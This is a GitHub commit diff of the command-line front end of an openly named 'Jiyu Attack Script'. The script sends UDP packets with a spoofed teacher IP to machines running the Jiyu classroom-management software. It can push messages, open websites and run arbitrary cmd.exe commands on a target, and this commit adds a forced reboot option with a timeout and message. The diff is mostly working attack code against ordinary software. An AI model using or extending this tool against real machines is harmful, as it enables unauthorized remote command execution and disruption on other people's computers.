|
12 | 12 | import argparse |
13 | 13 |
|
14 | 14 | from sender import broadcast_packet |
15 | | -from packet import pkg_message, pkg_website, pkg_execute |
| 15 | +from packet import pkg_message, pkg_reboot, pkg_website, pkg_execute |
16 | 16 |
|
17 | 17 |
|
18 | 18 | if __name__ == "__main__": |
19 | 19 | parser = argparse.ArgumentParser( |
20 | 20 | description="Jiyu Attack Script", |
21 | 21 | epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/", |
22 | 22 | ) |
23 | | - parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address") |
24 | | - parser.add_argument("-f", "--teacher-port", type=int, default=None, help="Teacher's port (default to random port)") |
25 | | - parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address") |
26 | | - parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)") |
27 | | - parser.add_argument("-i", "--ip-id", type=int, default=None, help="IP ID for the packet (default: random ID)") |
| 23 | + parser.add_argument( |
| 24 | + "-s", |
| 25 | + "--teacher-ip", |
| 26 | + type=str, |
| 27 | + required=True, |
| 28 | + help="Teacher's IP address", |
| 29 | + ) |
| 30 | + parser.add_argument( |
| 31 | + "-f", |
| 32 | + "--teacher-port", |
| 33 | + type=int, |
| 34 | + default=None, |
| 35 | + help="Teacher's port (default to random port)", |
| 36 | + ) |
| 37 | + parser.add_argument( |
| 38 | + "-t", |
| 39 | + "--target", |
| 40 | + type=str, |
| 41 | + required=True, |
| 42 | + help="Target IP address", |
| 43 | + ) |
| 44 | + parser.add_argument( |
| 45 | + "-p", |
| 46 | + "--port", |
| 47 | + type=int, |
| 48 | + default=4705, |
| 49 | + help="Port to send packets to (default: 4705)", |
| 50 | + ) |
| 51 | + parser.add_argument( |
| 52 | + "-i", |
| 53 | + "--ip-id", |
| 54 | + type=int, |
| 55 | + default=None, |
| 56 | + help="IP ID for the packet (default: random ID)", |
| 57 | + ) |
28 | 58 |
|
29 | 59 | group = parser.add_mutually_exclusive_group(required=True) |
30 | | - group.add_argument("-m", "--message", type=str, help="Message to send") |
31 | | - group.add_argument("-w", "--website", type=str, help="Website URL to ask to open") |
32 | | - group.add_argument("-c", "--command", type=str, help="Command to execute on the target") |
| 60 | + group.add_argument( |
| 61 | + "-m", |
| 62 | + "--message", |
| 63 | + type=str, |
| 64 | + help="Message to send", |
| 65 | + ) |
| 66 | + group.add_argument( |
| 67 | + "-w", |
| 68 | + "--website", |
| 69 | + type=str, |
| 70 | + help="Website URL to ask to open", |
| 71 | + ) |
| 72 | + group.add_argument( |
| 73 | + "-c", |
| 74 | + "--command", |
| 75 | + type=str, |
| 76 | + help="Command to execute on the target", |
| 77 | + ) |
| 78 | + group.add_argument( |
| 79 | + "-r", |
| 80 | + "--reboot", |
| 81 | + nargs="*", |
| 82 | + default=None, |
| 83 | + metavar="timeout [message]", |
| 84 | + help="Reboot the target machine, optionally with a timeout and message", |
| 85 | + ) |
33 | 86 |
|
34 | 87 | args = parser.parse_args() |
35 | 88 | teacher_ip = args.teacher_ip |
36 | 89 | teacher_port = args.teacher_port |
37 | 90 | target = args.target |
38 | 91 | port = args.port |
39 | | - if args.message: |
40 | | - payload = pkg_message(args.message) |
41 | | - elif args.website: |
42 | | - payload = pkg_website(args.website) |
43 | | - elif args.command: |
44 | | - payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize") |
45 | | - else: |
46 | | - raise ValueError("Either message or website must be provided") |
47 | | - |
48 | | - broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id) |
49 | | - print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes") |
| 92 | + |
| 93 | + try: |
| 94 | + if args.message: |
| 95 | + payload = pkg_message(args.message) |
| 96 | + elif args.website: |
| 97 | + payload = pkg_website(args.website) |
| 98 | + elif args.command: |
| 99 | + payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize") |
| 100 | + elif args.reboot is not None: |
| 101 | + match args.reboot: |
| 102 | + case []: |
| 103 | + payload = pkg_reboot() |
| 104 | + case [timeout]: |
| 105 | + payload = pkg_reboot(timeout=int(timeout)) |
| 106 | + case [timeout, message]: |
| 107 | + payload = pkg_reboot(timeout=int(timeout), message=message) |
| 108 | + case _: |
| 109 | + parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]") |
| 110 | + else: |
| 111 | + raise ValueError("Either message or website must be provided") |
| 112 | + |
| 113 | + broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id) |
| 114 | + print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes") |
| 115 | + except Exception as e: |
| 116 | + parser.error(f"({e.__class__.__name__}) {e}") |
0 commit comments